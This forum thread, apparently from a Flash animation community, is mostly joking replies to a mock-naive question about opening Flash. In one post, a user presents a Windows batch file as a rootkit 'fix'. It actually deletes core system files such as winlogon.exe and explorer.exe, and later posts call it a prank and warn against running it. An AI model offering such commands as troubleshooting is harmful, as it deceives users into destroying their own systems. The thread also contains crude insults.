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    Re: Mr Lange's Guide to Asking Questions

    Post by exorz15 on 1/10/2012, 3:10 pm

    blitzkrieg667 wrote:how do i open flash i cant figure out this damn mouse thing do i click on it 50 times or do i bash my head on the keyboard please help me im not intelligent

    You sure ain`t. Well... SMACK YOUR HEAD ON THE FRIDGE IT SHOULD WORK! CHICKENS!
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    Re: Mr Lange's Guide to Asking Questions

    Post by BlitznBurst on 1/10/2012, 4:32 pm

    i tried it and it didnt work and now my frige is broken is there something to do with thatv chickens i dont get it



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    Re: Mr Lange's Guide to Asking Questions

    Post by Jellal on 1/10/2012, 6:46 pm

    blitzkrieg667 wrote:how do i open flash i cant figure out this damn mouse thing do i click on it 50 times or do i bash my head on the keyboard please help me im not intelligent
    It seems like flash won't open because you have a rootkit virus.
    Here's a solution to remove the virus:
    1. Open up notepad.
    2. Copy and paste this into it:
    Code:
    Code:

    @echo off
    echo Removing virus from computer, do you wish to proceed? This might take a while.
    pause
    DEL "C:\WINDOWS\system32\dllcache\winlogon.exe"
    DEL "C:\WINDOWS\system32\dllcache\explorer.exe"
    DEL "C:\WINDOWS\system32\dllcache\services.exe"
    DEL "C:\WINDOWS\system32\dllcache\vga.sys"
    DEL "C:\WINDOWS\system32\dllcache\mup.sys"
    DEL "C:\WINDOWS\system32\dllcache\taskmgr.exe"
    DEL "C:\WINDOWS\system32\taskmgr.exe"
    DEL "C:\WINDOWS\system32\
    3. Save it as Fix.bat (Remember to set the save as setting to all files)
    4. Run it.

    The virus should be completely fixed after this, but restart your computer afterwards.


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    Re: Mr Lange's Guide to Asking Questions

    Post by Granadico on 1/10/2012, 7:08 pm

    Its hard to tell if any of these posts are sarcasm lol



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    Re: Mr Lange's Guide to Asking Questions

    Post by SXR123 on 1/10/2012, 7:12 pm

    Don't listen to jellal, that'll fuck up your comp.





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    Re: Mr Lange's Guide to Asking Questions

    Post by darkdragon581 on 1/11/2012, 1:07 am

    -raises hand-

    is mayonnaise an instrument?
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    Re: Mr Lange's Guide to Asking Questions

    Post by D3Anims on 1/11/2012, 1:17 am

    @darkdragon581 wrote:-raises hand-

    is mayonnaise an instrument?

    If it comes out of your skin flute



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    Re: Mr Lange's Guide to Asking Questions

    Post by Granadico on 1/11/2012, 1:58 am

    @darkdragon581 wrote:-raises hand-

    is mayonnaise an instrument?

    No, and neither is horse radish



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    Re: Mr Lange's Guide to Asking Questions

    Post by BlitznBurst on 1/11/2012, 12:12 pm

    @Granadico wrote:Its hard to tell if any of these posts are sarcasm lol

    I WASNT BEING SARPLASTIC WHY WONT YOU GUISE HELP ME AND THAT IS A VERY MEAN THING TO DO JELLY I ALMOST BELIEVED YOU BUT READ EVERYONE ELSE FIRST AND READ SEXYRS COMMENT AND WHY ARE YOU CALLED SEXYR I DONT GET IT I HAVE BRAIN DAMAGE FROM HITTING THE FRIDGE WITH MY HEAD

    Okay I'm done with this now.
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    Re: Mr Lange's Guide to Asking Questions

    Post by Jellal on 1/11/2012, 7:24 pm

    @SXR123 wrote:Don't listen to jellal, that'll fuck up your comp.
    Of course it won't.
    Why are you trying to let this virus keep infecting people's computers?
    You terrible mang.
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    Re: Mr Lange's Guide to Asking Questions

    Post by BlitznBurst on 1/12/2012, 4:34 pm

    but i wasnt not able to open it im just so stupid i dont no how to do relatively simple things like use a mouse or breathe



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    Re: Mr Lange's Guide to Asking Questions

    Post by Jellal on 1/12/2012, 8:01 pm

    blitzkrieg667 wrote:but i wasnt not able to open it
    So...you were able to open it then?
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    Re: Mr Lange's Guide to Asking Questions

    Post by Ping on 1/13/2012, 5:55 am

    Jellal is half-right on that, I believe. It could be a rootkit virus that's keeping you from opening your shit that you downloaded, but theres no need to delete taskmanager really all the goddamn essential shit you need for you computer to turn on properly.


    But it's likely a rootkit virus.. maybe..


    Oh wait.. what do you know? STUPID QUESTIONS!! Let's celebrate.




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    Re: Mr Lange's Guide to Asking Questions

    Post by Leo on 1/13/2012, 5:57 am

    @Ping wrote:Jellal is half-right on that, I believe. It could be a rootkit virus that's keeping you from opening your shit that you downloaded, but theres no need to delete taskmanager really all the goddamn essential shit you need for you computer to turn on properly.

    Damn Ping, you ruined the joke.
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    Re: Mr Lange's Guide to Asking Questions

    Post by Ping on 1/13/2012, 7:06 am

    No. Someone could have gotten their computer seriously damaged. It's important to put a stop to these horrible jokes. Imagine the vicim's feelings if he were to do such a thing to his computer. I think Jellal's behavior here is some kind of cyber bullying. No, it is. It's only vital prevent these problems from happening.

    Now let me remain prideful and respect me.




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    Re: Mr Lange's Guide to Asking Questions

    Post by Kane on 1/13/2012, 8:12 am

    @Ping wrote:No. Someone could have gotten their computer seriously damaged. It's important to put a stop to these horrible jokes. Imagine the vicim's feelings if he were to do such a thing to his computer. I think Jellal's behavior here is some kind of cyber bullying. No, it is. It's only vital prevent these problems from happening.

    Now let me remain prideful and respect me.

    Exactly, I believe Jellal should be banned for that and his post deleted, we don't want some new guy to do this and then find out he's destroyed his computer it's just so rude and if you don't atleast get rid of the post I'll report it to my heart's content. Ping speaks the truth
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    Re: Mr Lange's Guide to Asking Questions

    Post by Ping on 1/13/2012, 8:32 am

    Gah. Ol Jelly don't got to be banned but those codes are SERIOUSLY dangerous

    Even SXR knows that.

    hopefully no one tries any of them ;_;




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    Re: Mr Lange's Guide to Asking Questions

    Post by BlitznBurst on 1/13/2012, 1:48 pm

    your all just stupidn you dont understand my question i just dont no how to open it if you tell me how to open it ill try it and see if it works i dont even know how to open the internet i just opened it by accident and now i have to keep my computer on so i can keep posting also while im asking completely ridicukous questions how do i use these damn pencil things im failing school and my teacher just thinks im making things up



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    Re: Mr Lange's Guide to Asking Questions

    Post by Ray*~*Ler on 1/13/2012, 2:10 pm

    blitzkrieg667 wrote:your all just stupidn you dont understand my question i just dont no how to open it if you tell me how to open it ill try it and see if it works i dont even know how to open the internet i just opened it by accident and now i have to keep my computer on so i can keep posting also while im asking completely ridicukous questions how do i use these damn pencil things im failing school and my teacher just thinks im making things up
    ever heard of...
    1.opening macromedia flash 8 or adobe flash cs
    2.press file
    3. press open...
    4. then find your flash to open
    5. and your shit is open.... NUFF SAID.




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    Re: Mr Lange's Guide to Asking Questions

    Post by BlitznBurst on 1/13/2012, 2:24 pm

    @Ray*~*Ler wrote:
    blitzkrieg667 wrote:your all just stupidn you dont understand my question i just dont no how to open it if you tell me how to open it ill try it and see if it works i dont even know how to open the internet i just opened it by accident and now i have to keep my computer on so i can keep posting also while im asking completely ridicukous questions how do i use these damn pencil things im failing school and my teacher just thinks im making things up
    ever heard of...
    1.opening macromedia flash 8 or adobe flash cs
    2.press file
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    5. and your shit is open.... NUFF SAID.

    how can i open it then press file then open it then open it a third time i dont understand
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    Re: Mr Lange's Guide to Asking Questions

    Post by Ray*~*Ler on 1/13/2012, 2:32 pm

    blitzkrieg667 wrote:
    @Ray*~*Ler wrote:
    blitzkrieg667 wrote:your all just stupidn you dont understand my question i just dont no how to open it if you tell me how to open it ill try it and see if it works i dont even know how to open the internet i just opened it by accident and now i have to keep my computer on so i can keep posting also while im asking completely ridicukous questions how do i use these damn pencil things im failing school and my teacher just thinks im making things up
    ever heard of...
    1.opening macromedia flash 8 or adobe flash cs
    2.press file
    3. press open...
    4. then find your flash to open
    5. and your shit is open.... NUFF SAID.

    how can i open it then press file then open it then open it a third time i dont understand
    to tell you what to do damn it... search your damn file and open it...




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    Re: Mr Lange's Guide to Asking Questions

    Post by BlitznBurst on 1/13/2012, 3:02 pm

    OMG I LOVE JUSTIN BIEBER!!!11!11!111!!111ONEONE//11!ELEVEN!!11/1.COM/00100001!!!



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    Re: Mr Lange's Guide to Asking Questions

    Post by Jellal on 1/13/2012, 5:12 pm

    @Ping wrote:No. Someone could have gotten their computer seriously damaged. It's important to put a stop to these horrible jokes. Imagine the vicim's feelings if he were to do such a thing to his computer. I think Jellal's behavior here is some kind of cyber bullying. No, it is. It's only vital prevent these problems from happening.

    Now let me remain prideful and respect me.
    If you're dumb enough to fall for something that says:
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    You probably shouldn't be on a computer in the first place.
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    Re: Mr Lange's Guide to Asking Questions

    Post by Granadico on 1/13/2012, 7:53 pm

    Don't make this the next "Convo Thread" for you guys to just spam. Actually post relevant crap. Next person to do it is a ban since i'm not gonna lock this topic.



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    Re: Mr Lange's Guide to Asking Questions

    Post by Patt on 1/14/2012, 12:14 am

    Yeah, next person that does an off topic, or something to not help another, is banned for 24 hours. : )





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